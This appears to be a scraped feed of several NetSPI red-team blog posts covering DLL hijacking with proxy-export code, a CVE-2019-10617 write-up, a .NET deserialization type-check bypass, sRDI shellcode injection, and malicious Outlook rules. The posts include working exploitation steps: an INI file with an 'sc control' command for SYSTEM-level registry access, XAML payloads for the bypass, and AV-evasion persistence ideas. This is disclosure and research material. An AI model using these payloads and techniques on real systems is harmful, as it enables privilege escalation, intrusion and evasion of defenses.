ReadThing_wrapper proc
	jmp ProcList[0*8]
ReadThing_wrapper endp
WriteThing_wrapper proc
	jmp ProcList[1*8]
WriteThing_wrapper endp
DeleteThing_wrapper proc
	jmp ProcList[2*8]
DeleteThing_wrapper endp
extern "C" UINT_PTR ProcList[3] = {0};

extern "C" void ReadThing_wrapper();
extern "C" void WriteThing_wrapper();
extern "C" void DeleteThing_wrapper();

LPCSTR ImportNames[] = {
   "ReadThing",
   "WriteThing",
   "DeleteThing"
}

BOOL WINAPI DllMain(HINSTANCE instance, DWORD reason, LPVOID reserved)
{
	if (reason != DLL_PROCESS_ATTACH)
		return TRUE;

	HANDLE real_dll = LoadLibrary( "real.dll" );
	for ( int i = 0; i < 3; i++ ) {
		ProcList[i] = GetProcAddress(real_dll , ImportNames[i]);
	}

	return TRUE;
}

Run-Time Generation

We could also go crazy and just re-build the entire export address table at run time. Here we need not know what DLL we are going to hijack when we write our code, which is nice. We can also add a basic function which re-implements the Windows search order to try and locate the real DLL dynamically. It could also perform basic alterations like .old and .bak within the current directory just in case.

HMODULE FindModule(HMODULE our_dll)
{
	WCHAR our_name[MAX_PATH];
	GetModuleFileName(our_dll, our_name, MAX_PATH);

	// Locate real DLL using our_name

	if (our_dll != module){
		return module;
	}
}

void ProxyExports(HMODULE module) 
{
	HMODULE real_dll = FindModule(module);

	// Rebuild our export table with real_dll

	return;
}

BOOL WINAPI DllMain(HMODULE module, DWORD reason, LPVOID reserved)
{
	if (reason != DLL_PROCESS_ATTACH)
		return TRUE;

	ProxyExports(module);

	return TRUE;
}

This strategy, while elegant, suffers from being so dynamic. We no longer include the export names in our static table unless we explicitly add them (re: static sinks). In addition, we receive execution after the import tables (IATs) of other modules might already contain references to our old export table (static sinks again). There is no easy fix for the former that keeps us dynamic unless we simply add every export name we might expect to need across all DLLs. To fix the latter, we need to iterate loaded modules and patch in addresses to the real DLL. Nothing some code can’t solve, but a convoluted solution to some eyes. The bulk of this strategy can be found in the Koppeling project below.

Another caveat is that references to, and within, the export table are relative virtual addresses (RVAs). Because of their size (DWORD), we are limited to placing our new export table somewhere within 4GB of the PE base unless it can fit inside the old one. Not an issue on x86, but certainly on x64.

Takeaway

Export forwarding is the easiest solution when it comes to proxying functionality. It’s preparatory (we need to create the DLL with a specific hijack in mind), but the loader subsystem does the heavy lifting. We can make some nice improvements to the preparation process itself which we’ll look at later. We like the flexibility of run-time generation, but it has weaknesses regarding static-sinks and their requirement for export names to be included in the file on disk. When it comes down to it, we might as well automate export forwarding.

Loader Lock

The LDR subsystem holds a single list of loaded modules for the process. To solve any thread sharing issues, a “loader lock” is implemented to ensure only one thread is ever modifying a module list at one time. This is relevant for hijacking as we typically gain code execution inside DllMain, which occurs while the LDR subsystem is still working on the module list. In other words, ntdll has to pass execution to us while the loader lock is still being held (not ideal). As a consequence, Microsoft provides a big list of things you certainly SHOULD NOT DO while inside DllMain.

  • Call LoadLibrary or LoadLibraryEx (either directly or indirectly). This can cause a deadlock or a crash.
  • Call GetStringTypeA, GetStringTypeEx, or GetStringTypeW (either directly or indirectly). This can cause a deadlock or a crash.
  • Synchronize with other threads. This can cause a deadlock.
  • Acquire a synchronization object that is owned by code that is waiting to acquire the loader lock. This can cause a deadlock.
  • Initialize COM threads by using CoInitializeEx. Under certain conditions, this function can call LoadLibraryEx.
  • Call the registry functions. These functions are implemented in Advapi32.dll. If Advapi32.dll is not initialized before your DLL, the DLL can access uninitialized memory and cause the process to crash.
  • Call CreateProcess. Creating a process can load another DLL.
  • Call ExitThread. Exiting a thread during DLL detach can cause the loader lock to be acquired again, causing a deadlock or a crash.
  • Call CreateThread. Creating a thread can work if you do not synchronize with other threads, but it is risky.
  • Use the memory management function from the dynamic C Run-Time (CRT). If the CRT DLL is not initialized, calls to these functions can cause the process to crash.
  • Call functions in User32.dll or Gdi32.dll. Some functions load another DLL, which may not be initialized.
  • Use managed code.

Scary list, right?

In our experience, however, this list is not as bad as it might appear. For example, LoadLibrary is typically safe to call within DllMain. In fact during static sinks, the loader lock is not re-acquired as long as the same thread is still in initialization. The call to LdrLoadDll will simply re-trigger dependency graph calculation and initialization. Does this mean that Microsoft is wrong to publish the list above? Absolutely not. They are just trying to prevent issues wherever possible.

The real answer to “Can I do <questionable thing> inside DllMain?” is typically “it depends, but avoid trying it”. Let’s check out one example where LDR synchronization can cause a deadlock:

DWORD ThreadFunc(PVOID param) {
	printf("[+] New thread started.");
	return 1;
}

BOOL WINAPI DllMain(HINSTANCE instance, DWORD reason, LPVOID reserved)
{
	if (reason != DLL_PROCESS_ATTACH)
		return TRUE;

	DWORD dwThread;
	HANDLE hThread = CreateThread(0, 0, ThreadFunc, 0, 0, &dwThread);

	// Deadlock starts here
	WaitForSingleObject(hThread, INFINITE);

	return TRUE;
}

Regardless of the sink we use, our DllMain will get stuck waiting for the new thread to finish, but the new thread will be waiting for us to finish. You can see this in the two call stacks for the threads:

...
ntdll!LdrpCallInitRoutine
Theif!DllMain
KernelBase!WaitForSingleObjectEx
ntdll!NtWaitForSingleObject <- Waiting for the thread
ntdll!LdrInitializeThunk
ntdll!LdrpInitialize
ntdll!_LdrpInitialize
ntdll!NtWaitForSingleObject <- Waiting for LdrpInitCompleteEvent
         (can also be NtDelayExecution/LdrpProcessInitialized != 1)

Inside a dynamic sink, you’ll probably see the deadlock occur in LdrpDrainWorkQueue (as the process has already been initialized by then).

ntdll!LdrInitializeThunk
ntdll!LdrpInitialize
ntdll!_LdrpInitialize
ntdll!LdrpInitializeThread
ntdll!LdrpDrainWorkQueue
ntdll!NtDelayExecution <- Waiting for LdrpWorkCompleteEvent

This outcome is frustrating, because starting a new thread is the easiest way to avoid LDR conflicts. We can collect execution in DllMain, kick off a new thread, and let our malicious code run there once the process has finished initializing. To avoid the deadlock, we could remove the WaitForSingleObject call like so:

BOOL WINAPI DllMain(HINSTANCE instance, DWORD reason, LPVOID reserved)
{
    if (reason != DLL_PROCESS_ATTACH)
        return TRUE;

    DWORD dwThread;
    HANDLE hThread = CreateThread(0, 0, ThreadFunc, 0, 0, &dwThread);

    // WaitForSingleObject(hThread, INFINITE);

    return TRUE;
}

This works if the process stays up long enough for our code to execute, but this is a rare occurrence. Most likely, we will return execution to the primary module and it will exit quickly or throw an error if we haven’t done proxying properly. Our thread will never get a chance to do anything useful.

Hooking for Stability

Lucky for us, we do hold execution long enough to implement a hook, so we can try to take over primary execution once LDR is done. Where exactly we place this hook is going to depend on where in the execution chain we sit.

  • Pre-Load: The process is still being initialized and execution has not been handed over to the primary module. In this case, we’d likely want to hook the entry point of the primary module.
  • Post-Load: The process has already started core execution, and we might be loaded as a consequence of a LoadLibrary call. The most optimal is to just hook the last function in the call stack which is part of the primary module. Whatever issues/errors bubble up can be ignored then.

To differentiate between these two scenarios was can just keep walking backward in the stack. If we find a return address for the primary module, we are probably post-load. Otherwise, the process likely hasn’t kicked off yet and the entry point is our best bet. Naturally, we’ve built a proof of concept already so you don’t have to pull your hair out:

https://gist.github.com/monoxgas/5027de10caad036c864efb32533202ec

Takeaway

Loader lock represents some challenges, but nothing too difficult as long as we respect it. Starting a separate thread for any significant code is the best option. In situations where we need to keep the process alive so the thread can continue run, we can use function hooking.

Koppeling

We started this post by introducing various complexities of hijacking. Let’s review and pair them up with relevant solutions:

  1. Stability of the source process: Use function proxying, avoid loader lock.
  2. Maintaining code execution inter-process: Use proxying and/or function hooking.
  3. Complexities of loader lock: Use new threads and/or function hooking.
  4. Static export names: Use post-build cloning, static definitions, linker comments, etc.

If there is one thing to communicate however, the solution space is quite large and everyone will have preferences. Our current “best” implementation combines the simplicity of export forwarding with post-build patching for flexibility. The process goes like this:

  1. We compile/collect our “evil” DLL for hijacking. It doesn’t need to be aware of any hijacking duty (unless you need to add hooking).
  2. We clone the exports of a reference DLL into the “evil” DLL. The “real” DLL is parsed and the export table is duplicated into a new PE section. Export forwarding is used to correctly proxy functionality.
  3. We use the freshly cloned DLL in any hijack. Stability is guaranteed and we can maintain execution inter-process.

We’re releasing a project to demonstrate this, and some other, advanced hijacking techniques called Koppeling. Much like our sRDI project, it allows you to prepare any arbitrary DLL for hijacking provided you know the final path of the reference DLL. We hope you find use for it and contribute if you love hijacking as much as we do.

https://github.com/monoxgas/Koppeling

Wrap Up

Our team is very passionate about not only how to weaponize a technique, but how to do it with stability and poise. We want to avoid impact to customer environments at all costs. This kind of care demands hours of research, testing, and development. Our Slingshot toolkit maintains seamless integration with the techniques we’ve detailed here to ensure our team and others can take full advantage of hijacking. As mentioned earlier, we also dive deeper into these topics in our Dark Side Ops course series if you’re hungry for more.

We hope this post has provided a deeper understanding of this often misrepresented technique. Till next time.

– Nick (@monoxgas)

The post Adaptive DLL Hijacking appeared first on NetSPI.

]]>
CVE-2019-10617 – AtherosSvc Registry LPE https://www.netspi.com/blog/technical-blog/network-pentesting/cve-2019-10617/ Wed, 09 Oct 2019 12:00:17 +0000 https://www.netspi.com/cve-2019-10617/ In DbgView one day, I noticed repeated noisy output from a particular process. The pestering output bothered me enough to do some investigating. This blog investigates the CVE-2019-10617 exposure.

The post CVE-2019-10617 – AtherosSvc Registry LPE appeared first on NetSPI.

]]>
Discovery

In DbgView one day, I noticed repeated noisy output from a particular process. The pestering output bothered me enough to do some investigating. The offender was C:WindowsSystem32DriversAdminService.exe, the binary backing the AtherosSvc Windows service. This is installed as part of the Qualcomn Atheros wireless/bluetooth chip set drivers (QCA61x4 in my case). I began reversing the binary to track down the verbosity and look for security issues while I was at it.

While there were no symbols for the binary, the authors had kindly included so many debug print statements that contextualizing the logic was rather easy. The majority of it’s code was fairly boilerplate for a Windows service and included some threading, hardware management, and registry management. Initially, I just went hunting for any uses of useful WinAPIs (file management, ACL modification, process handling, token duplication, etc). This led me to an interesting function which appears to perform arbitrary registry work using some INI file contents. It looked something like this:

LPWSTR ini_path[520];
SHGetSpecialFolderPathW(0, &ini_path, 35, 0); // %ProgramData%
wcscpy_s(&ini_path, 260, L"AtherosAtherosServiceConfig.ini");

LPSTR str_op_type[2];
LPSTR reg_path[260];
GetPrivateProfileStringW(L"AthService", L"regOpType", 0, str_op_type, 2, &ini_path);
GetPrivateProfileStringW(L"AthService", L"regPath", 0, reg_path, 260, &ini_path);

DWORD op_type = convert_to_int(str_op_type);
DWORD top_key = get_top_key_from_path(reg_path);

HANDLE hKey, hSubKey;

if (op_type == 1)
{
    LPSTR reg_value[260];
    GetPrivateProfileStringW(L"AthService", L"regValue", 0, reg_value, 260, &ini_path);
    
    // Delete registry value

} 
else if (op_type == 2)
{
    
    LPSTR reg_value[260];
    LPSTR reg_data[260];
    GetPrivateProfileStringW(L"AthService", L"regValue", 0, reg_value, 260, &ini_path);
    GetPrivateProfileStringW(L"AthService", L"regData", 0, reg_data, 260, &ini_path);

    LPSTR str_reg_type[2];
    GetPrivateProfileStringW(L"AthService", L"regType", 0, str_reg_type, 2, &ini_path);
    DWORD reg_type = convert_to_int(convert_to_int);

    // Create reg value

} 
else if (op_type == 3)
{
    // Delete registry key
}

A quick check on my host showed that, for some reason, C:ProgramDataAtheros did not exist. ProgramData is writable by any user, so our primitive was looking good. The next challenge was triggering this block of code on demand. I traced back references to the registry function to find a looping ThreadProc function which implemented most of the actual logic for the app.

DWORD ThreadProc(PVOID param){
    MSG msg;

    while (true) {
        GetMessageW(&msg, 0i64, 0, 0);

        switch (msg){
            // ...

            case 0x5E62:
                OutputDebugStringW(L"Enter case CUSTOM_THREAD_EVENT_REG_MODIFY!n");
                do_unsafe_registry_work();
                SetEvent(g_RegEvent);
                break;
        }
    }
}

If we continue following this thread, we discover this thread message code is posted when a specific custom control code is delivered to the service.

DWORD Handler(DWORD dwControl, ...)
{
    switch (dwControl){
        // ...

        case 133:
            ResetEvent(g_RegEvent);
            PostThreadMessageW(dwThread, 0x5E62u, 0, 0);
            WaitForSingleObject(g_RegEvent, 20000);
            break;
    }
}

*facepalm*, It really is as easy as that. I’m not sure why this code flow exists, and even more unsure why that directory and INI file are never created.

Exploitation

1 – Create C:ProgramDataAtherosAtherosServiceConfig.ini and set it’s contents to:

[AthService]
regOpType=3
regPath=HKEY_LOCAL_MACHINESoftware
regValue=RuhRoh
regType=1
regData=ThisAintGood

2 – Send the control code to the service

sc control AhterosSvc 133

It’s trivial to stretch full registry control as SYSTEM into privileged code execution, but I’ll leave that as an exercise for the reader.

The Fix

In response to this, it appears Qualcomm have simply removed the registry modification code completely. The ThreadProc case now looks something like this:

while (true) {
    GetMessageW(&msg, 0i64, 0, 0);

    switch (msg){
        // ...

        case 0x5E62:
            OutputDebugStringW(L"Enter case CUSTOM_THREAD_EVENT_REG_MODIFY!n");
            // do_unsafe_registry_work();
            break;
    }
}

Funny enough they left the custom control code (133) hooked up to PostThreadMessage resulting in a useless 20 second wait for g_RegEvent to be reset. Suppose this could be a simple indicator to check for a vulnerable host.

Here are the details for the fixed version (for me anyways):

%SystemRoot%System32driversAdminService.exe

Version: 10.0.10011.16384
Modified: 08/08/2019
SHA1: 0d21b5fa49ab62b6e8fea82e1da3980092b95c70

Timeline

[9/12/19] – Delivered initial report to product-security@qualcomm.com
[9/12/19] – Received initial ticket creation receipt (QPSIIR-1287)
[9/26/19] – Received notice that this issue was reported in April and was a duplicate report. The original reporter was @DownWithUpSec, and you can find his write-up of the vulnerability here.
[10/07/19] – CVE-2019-10617 is published in the October 19 Security Bulletin

The post CVE-2019-10617 – AtherosSvc Registry LPE appeared first on NetSPI.

]]>
Re-Animating ActivitySurrogateSelector https://www.netspi.com/blog/technical-blog/adversary-simulation/re-animating-activitysurrogateselector/ Tue, 04 Jun 2019 07:00:48 +0000 https://www.netspi.com/re-animating-activitysurrogateselector/ In 2017, James Forshaw released a DotNet deserialization gadget which abuses the ActivitySurrogateSelector class from System.Workflow.ComponentModel. As detailed in his post, this gadget is particularly useful, providing cross-version support and the ability to load arbitrary assemblies into memory (as compared to the common Process.Start technique). However, in newer versions of the DotNet framework (4.8+), this gadget was apparently fixed. We rely on this gadget in some of our stage 0 payloads and were interested in finding a workaround. This is a short post detailing our solution.

The post Re-Animating ActivitySurrogateSelector appeared first on NetSPI.

]]>
In 2017, James Forshaw released a DotNet deserialization gadget which abuses the ActivitySurrogateSelector class from System.Workflow.ComponentModel. As detailed in his post, this gadget is particularly useful, providing cross-version support and the ability to load arbitrary assemblies into memory (as compared to the common Process.Start technique). However, in newer versions of the DotNet framework (4.8+), this gadget was apparently fixed. We rely on this gadget in some of our stage 0 payloads and were interested in finding a workaround. This is a short post detailing our solution.

The Fix

For those who didn’t read Forshaw’s post (you should), the ActivitySurrogateSelector class unintentionally provides a generic wrapper for typically unserializable classes. This is great for complex gadget design because it means you are no longer limited to types marked as Serializable. The particular chain James created to abuse this behavior is quite amazing, and worth analyzing if you get a chance.

To examine how Microsoft patched this problem, I cracked open a patched copy of the System.Workflow.ComponentModel.dll. Comparing against the previous code, we see that a type check has been added to the GetObjectData function, ensuring that only an ActivityBind or DependencyObject can be wrapped with the surrogate.

private sealed class ObjectSurrogate : ISerializationSurrogate
{
	public void GetObjectData(object obj, SerializationInfo info, StreamingContext ctx)
	{
		if (!AppSettings.DisableActivitySurrogateSelectorTypeCheck &&
			!(obj is ActivityBind) && !(obj is DependencyObject))
		{
		   throw new ArgumentException("obj");
		}
		// ...
	}
}

As expected, they also added what appears to be a new option (still undocumented) which disables the type check in the off chance that it breaks something. If we trace DisableActivitySurrogateSelectorTypeCheck we also discover a core reason that this gadget, in particular, was likely fixed so quickly.

internal static bool DisableActivitySurrogateSelectorTypeCheck
{
	get
	{
		if (NativeMethods.IsDynamicCodePolicyEnabled())
			return false;

		AppSettings.EnsureSettingsLoaded();
		return AppSettings.disableActivitySurrogateSelectorTypeCheck;
	}
}

As the gadget can be used to trigger arbitrary assembly loads, a call to IsDynamicCodePolicyEnabled was added to ensure the type white-list is always enforced if WLDP (Device Guard) is enabled. We aren’t concerned with WLDP, therefore we’re left with AppSettings.disableActivitySurrogateSelectorTypeCheck. Underneath this flag maps to ConfigurationManager.AppSettings which typically refers to policies in an app or web.config file.

NamedValueCollection collection = ConfigurationManager.AppSettings;

bool.TryParse(
collection["microsoft:WorkflowComponentModel:DisableActivitySurrogateSelectorTypeCheck"],
out AppSettings.disableActivitySurrogateSelectorTypeCheck
)

So we just need a way to configure a setting for an application we don’t control, which is actually easier than you might think. See ActivitySurrogateSelector was fixed, but many other DotNet gadgets are still in working order. Most of them, implemented in ysoserial.net, are configured to execute Process.Start with a target command line. Re-purposing them to instantiate a class from an arbitrary assembly would take serious wizardry, but luckily we only need them to do one thing, Disable the type check.

Retooling

The newest kid on the gadget block is TextFormattingRunProperties, discovered by Oleksandr Mirosh. Like many other gadgets, it relies on having controlled input to a XamlReader.Parse call. The core exploitation of this input depends on the ObjectDataProvider element. These are typically used to connect UI elements (TextBox/ComboBox) to custom objects or code. These objects and their capabilities are fascinating in their own right, and worth additional research. The typical template for a Process.Start call looks something like this:

<ResourceDictionary
        
        xmlns_x="https://schemas.microsoft.com/winfx/2006/xaml"
        xmlns_System="clr-namespace:System;assembly=mscorlib"
        xmlns_Diag="clr-namespace:System.Diagnostics;assembly=system">
     <ObjectDataProvider x_Key="Calc" ObjectType = "{x:Type Diag:Process}" MethodName = "Start" >
     <ObjectDataProvider.MethodParameters>
        <System:String>cmd</System:String>
        <System:String>/c calc </System:String>
     </ObjectDataProvider.MethodParameters>
    </ObjectDataProvider>
</ResourceDictionary>

As the XML is parsed, the ObjectDataProvider object is created, and the target method is immediately executed to prepare results. To re-use this, we’ll need to somehow connect an ObjectDataProvider entry to AppSettings.disableActivitySurrogateSelectorTypeCheck. To start, I came up with the following C# code to disable the type check:

ConfigurationManager.AppSettings.Set(
	"microsoft:WorkflowComponentModel:DisableActivitySurrogateSelectorTypeCheck",
	"true"
);

To reproduce this code with XAML input, we’ll actually need two ObjectDataProvider objects. This is because AppSettings is retrieved from the static ConfigurationManager class, followed by the instance method Set(). We can replace ObjectType with ObjectInstance to get this sequential behavior. Also worth noting that because of overrides, the Add() method of AppSettings will throw an exception, but Set works just fine for us.

<ResourceDictionary
        
        xmlns_x="https://schemas.microsoft.com/winfx/2006/xaml"
        xmlns_System="clr-namespace:System;assembly=mscorlib"
        xmlns_Config="clr-namespace:System.Configuration;assembly=System.Configuration">
    <ObjectDataProvider x_Key="appSettings" ObjectType = "{x:Type Config:ConfigurationManager}" MethodName = "get_AppSettings" ></ObjectDataProvider>
    <ObjectDataProvider x_Key="setMethod" ObjectInstance = "{StaticResource appSettings}" MethodName = "Set" >
        <ObjectDataProvider.MethodParameters>
            <System:String>microsoft:WorkflowComponentModel:DisableActivitySurrogateSelectorTypeCheck</System:String>
            <System:String>true</System:String>
        </ObjectDataProvider.MethodParameters>
    </ObjectDataProvider>
</ResourceDictionary>

Now that we have a payload for disabling the type check, we just need to execute it before our original ActivitySurrogateSelector gadget. We could obviously do this manually through whichever entry vector we have. The setting should be persistent during the life of an app instance, so sending the disable payload once would suffice for most scenarios.

Update: After additional testing, I discovered the technique of stacking objects in a list won’t work. This is because an exception is thrown while deserializing the first object, causing the second object to never be touched.

string disable_xaml = @"...";

TextFormattingRunPropertiesMarshal disable_payload = 
    new TextFormattingRunPropertiesMarshal(disable_xaml);

List<Object> object_group = new List<Object>();

object_group.Add(original_payload);
object_group.Add(disable_payload);

return Serialize(object_group, ...)

Wrapping Up

Fixing only one of the available gadgets, but leaving the rest, is a recipe for disaster. Depending on your motivation, many of the existing gadgets can be retooled for interesting purposes beyond starting a process. I just really liked ActivitySurrogateSelector and wanted to keep it around.

I’ve submitted a PR for ysoserial.net to support this new bypass.

– Nick (@monoxgas)

Update – 6/6/19

After some additional work on the gadget, some changes have been made to support more scenarios.

The reference made to ConfigurationManager.AppSettings only occurs if the internal Workflow.ComponentModel.AppSettings has not yet been initialized:

if (!AppSettings.settingsInitialized)
{
    ... // Read in values from the global config

    AppSettings.settingsInitialized = true;
}

Therefore if the disableTypeCheck flag has ever been queried before, our original payload will make no difference. To fix this, I’ve added some System.Reflection calls using ObjectDataProviders to manually set the internal Workflow boolean value. In addition, I found a slightly simpler way to access the static ConfigurationManager.AppSettings class.

<ResourceDictionary
    
    xmlns_x="https://schemas.microsoft.com/winfx/2006/xaml"
    xmlns_s="clr-namespace:System;assembly=mscorlib"
    xmlns_c="clr-namespace:System.Configuration;assembly=System.Configuration"
    xmlns_r="clr-namespace:System.Reflection;assembly=mscorlib">
    <ObjectDataProvider x_Key="type" ObjectType="{x:Type s:Type}" MethodName="GetType">
        <ObjectDataProvider.MethodParameters>
            <s:String>System.Workflow.ComponentModel.AppSettings, System.Workflow.ComponentModel, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35</s:String>
        </ObjectDataProvider.MethodParameters>
    </ObjectDataProvider>
    <ObjectDataProvider x_Key="field" ObjectInstance="{StaticResource type}" MethodName="GetField">
        <ObjectDataProvider.MethodParameters>
            <s:String>disableActivitySurrogateSelectorTypeCheck</s:String>
            <r:BindingFlags>40</r:BindingFlags>
        </ObjectDataProvider.MethodParameters>
    </ObjectDataProvider>
    <ObjectDataProvider x_Key="set" ObjectInstance="{StaticResource field}" MethodName="SetValue">
        <ObjectDataProvider.MethodParameters>
            <s:Object/>
            <s:Boolean>true</s:Boolean>
        </ObjectDataProvider.MethodParameters>
    </ObjectDataProvider>
    <ObjectDataProvider x_Key="setMethod" ObjectInstance="{x:Static c:ConfigurationManager.AppSettings}" MethodName ="Set">
        <ObjectDataProvider.MethodParameters>
            <s:String>microsoft:WorkflowComponentModel:DisableActivitySurrogateSelectorTypeCheck</s:String>
            <s:String>true</s:String>
        </ObjectDataProvider.MethodParameters>
    </ObjectDataProvider>
</ResourceDictionary>

The post Re-Animating ActivitySurrogateSelector appeared first on NetSPI.

]]>
sRDI – Shellcode Reflective DLL Injection https://www.netspi.com/blog/technical-blog/adversary-simulation/srdi-shellcode-reflective-dll-injection/ Wed, 23 Aug 2017 11:18:00 +0000 https://www.netspi.com/srdi-shellcode-reflective-dll-injection/ During our first offering of “Dark Side Ops II – Adversary Simulation” at Black Hat USA 2017, we quietly dropped a piece of our internal toolkit called sRDI. Shortly after, the full project was put on GitHub without much explanation. This blog post discusses the details and use-cases behind this new functionality.

The post sRDI – Shellcode Reflective DLL Injection appeared first on NetSPI.

]]>

During our first offering of “Dark Side Ops II – Adversary Simulation” at Black Hat USA 2017, we quietly dropped a piece of our internal toolkit called sRDI. Shortly after, the full project was put on GitHub (https://github.com/monoxgas/sRDI) without much explanation.  I wanted to write a quick post discussing the details and use-cases behind this new functionality.

A Short History

Back in ye olde times, if you were exploiting existing code, or staging malicious code into memory, you used shellcode. For those rare few who still have the skill to write programs in assembly, we commend you. As the Windows API grew up and gained popularity, people found sanctuary in DLLs. C code and cross compatibility were very appealing, but what if you wanted your DLL to execute in another process? Well, you could try writing the file to memory and dropping a thread at the top, but that doesn’t work very well on packed PE files. The Windows OS already knows how to load PE files, so people asked nicely and DLL Injection was born. This involves starting a thread in a remote process to call “LoadLibrary()” from the WinAPI. This will read a (malicious) DLL from disk and load it into the target process. So you write some cool malware, save it as a DLL, drop it to disk, and respawn into other processes. Awesome!…well, not really. Anti-virus vendors caught on quick, started flagging more and more file types, and performing heuristic analysis. The disk wasn’t a safe place anymore!

Finally in 2009, our malware messiah Stephen Fewer (@stephenfewer) releases Reflective DLL Injection. As demonstrated, LoadLibrary is limited in loading only DLLs from disk. So Mr. Fewer said “Hold my beer, I’ll do it myself”. With a rough copy of LoadLibrary implemented in C, this code could now be included into any DLL project. The process would export a new function called “ReflectiveLoader” from the (malicious) DLL. When injected, the reflective DLL would locate the offset of this function, and drop a thread on it. ReflectiveLoader walks back through memory to locate the beginning of the DLL, then unpacks and remaps everything automatically. When complete, “DLLMain” is called and you have your malware running in memory.

Years went by and very little was done to update these techniques. Memory injection was well ahead of it’s time and allowed all the APTs and such to breeze past AV. In 2015, Dan Staples (@_dismantl) released an important update to RDI, called “Improved Reflective DLL Injection“. This aimed to allow an additional function to be called after “DLLMain” and support the passing of user arguments into said additional function. Some shellcode trickery and a bootstrap placed before the call to ReflectiveLoader accomplished just that. RDI is now functioning more and more like the legitimate LoadLibrary. We can now load a DLL, call it’s entry point, and then pass user data to another exported function. By the way, if you aren’t familiar with DLLs or exported functions, I recommend you read Microsoft’s overview.

Making shellcode great again

Reflective DLL injection is being used heavily by private and public toolsets to maintain that “in-memory” street cred. Why change things? Well…

  • RDI requires that your target DLL and staging code understand RDI. So you need access to the source code on both ends (the injector and injectee), or use tools that already support RDI.
  • RDI requires a lot of code for loading in comparison to shellcode injection. This compromises stealth and makes stagers easier to signature/monitor.
  • RDI is confusing for people who don’t write native code often.
  • Modern APT groups have already implemented more mature memory injection techniques, and our goal is better emulate real-world adversaries.

The list isn’t as long as some reasons to change things, but we wanted to write a new version of RDI for simplicity and flexibility. So what did we do?

  1. To start, we read through some great research by Matt Graeber (@mattifestation) to convert primitive C code into shellcode. We rewrote the ReflectiveLoader function and converted the entire thing into a big shellcode blob. We now have a basic PE loader as shellcode.
  2. We wanted to maintain the advantages of Dan Staples technique, so we modified the bootstrap to hook into our new shellcode ReflectiveLoader. We also added some other tricks like a pop/call to allow the shellcode to get it’s current location in memory and maintain position independence.
  3. Once our bootstrap primitives were built, we implemented a conversion process into different languages (C, PowerShell, C#, and Python). This allows us to hook our new shellcode and a DLL together with the bootstrap code in any other tool we needed.

Once complete, the blob looks something like this:

When execution starts at the top of the bootstrap, the general flow looks like this:

  1. Get current location in memory (Bootstrap)
  2. Calculate and setup registers (Bootstrap)
  3. Pass execution to RDI with the function hash, user data, and location of the target DLL (Bootstrap)
  4. Un-pack DLL and remap sections (RDI)
  5. Call DLLMain (RDI)
  6. Call exported function by hashed name (RDI) – Optional
  7. Pass user-data to exported function (RDI) – Optional

With that all done, we now have conversion functions that take in arbitrary DLLs, and spit out position independent shellcode. Optionally, you can specify arbitrary data to get passed to an exported function once the DLL is loaded (as Mr. Staples intended). On top of that, if you are performing local injection, the shellcode will return a memory pointer that you can use with GetProcAddressR() to locate additional exported functions and call them. Even with the explanation, the process can seem confusing to most who don’t have experience with the original RDI project, shellcode, or PE files, so I recommend you read existing research and head over to the GitHub repository and dig into the code: https://github.com/monoxgas/sRDI

Okay, so what?

“You can now convert any DLL to position independent shellcode at any time, on the fly.”

This tool is mainly relevant to people who write/customize malware. If you don’t know how to write a DLL, I doubt most of this applies to you. With that said, if you are interested in writing something more than a PowerShell script or Py2Exe executable to perform red-teaming, this is a great place to start.

Use case #1 – Stealthy persistence

  • Use server-side Python code (sRDI) to convert a RAT to shellcode
  • Write the shellcode to the registry
  • Setup a scheduled task to execute a basic loader DLL
  • Loader reads shellcode and injects (<20 lines of C code)

Pros: Neither your RAT or loader need to understand RDI or be compiled with RDI. The loader can stay small and simple to avoid AV.

Use case #2 – Side loading

  • Get your sweet RAT running in memory
  • Write DLL to perform extra functionality
  • Convert the DLL to shellcode (using sRDI) and inject locally
  • Use GetProcAddressR to lookup exported functions
  • Execute additional functionality X-times without reloading DLL

Pros: Keep your initial tool more lightweight and add functionality as needed. Load a DLL once and use it just like any other.

Use case #3 – Dependencies

  • Read existing legitimate API DLL from disk
  • Convert the DLL to shellcode (using sRDI) and load it into memory
  • Use GetProcAddress to lookup needed functions

Pros: Avoid monitoring tools that detect LoadLibrary calls. Access API functions without leaking information. (WinInet, PSApi, TlHelp32, GdiPlus)

Conclusion

We hope people get good use out of this tool. sRDI been a member of the SBS family for almost 2 years now and we have it integrated into many of our tools. Please make modifications and create pull-requests if you find improvements.

We’d love to see people start pushing memory injection to higher levels. With recent AV vendors promising more analytics and protections against techniques like this, we’re confident threat actors have already implemented improvements and alternatives that don’t involve high level languages like PowerShell or JScript.

@monoxgas

The post sRDI – Shellcode Reflective DLL Injection appeared first on NetSPI.

]]>
Malicious Outlook Rules https://www.netspi.com/blog/technical-blog/adversary-simulation/malicious-outlook-rules/ Fri, 04 Dec 2015 12:55:00 +0000 https://www.netspi.com/malicious-outlook-rules/ Most organizations use Exchange for email, and make it externally accessible (via OWA or RPC over HTTPS). The AutoDiscover DNS record simplifies most of this process requiring a user to simply input his or her domain credentials into Outlook to setup the remote connection. Hopefully you can see where we’re going with this. If not, read on!

The post Malicious Outlook Rules appeared first on NetSPI.

]]>
Occasionally, we come across interesting scenarios that require thinking outside the box. For example: What if you’ve obtained a target user’s credentials (via responder.py, brute-forcing, sniffing, keylogging, etc.), but don’t have access to their workstation? This raises the question of whether a domain username and password could be useful without a workstation to authenticate against. Most organizations use Exchange for email, and make it externally accessible (via OWA or RPC over HTTPS). The AutoDiscover DNS record simplifies most of this process requiring a user to simply input his or her domain credentials into Outlook to setup the remote connection. Hopefully you can see where we’re going with this. If not, read on!

Anyone familiar enough with Outlook will know it has a “Rules and Alerts” section that allows the user to automate certain actions based on message criteria. This feature is particularly interesting because the rules sync between all Outlook installs via Exchange. Most of the available rules actions pertain to modifying the mailbox, moving messages, categorizing items, etc. However, a few more devious actions immediately stand out, namely “Start Application”.

This seems too easy! Sure enough, playing with the rule in the Outlook client highlights some pretty serious drawbacks. First, the target file needs to be locally accessible before it will save the rule. Second, it doesn’t appear to support arguments when starting the application. Poking around a bit more, we find the ability to import or export rules under the “Options” menu. Here is where we can have some fun! Let’s export a simple rule file and throw it into a hex editor.

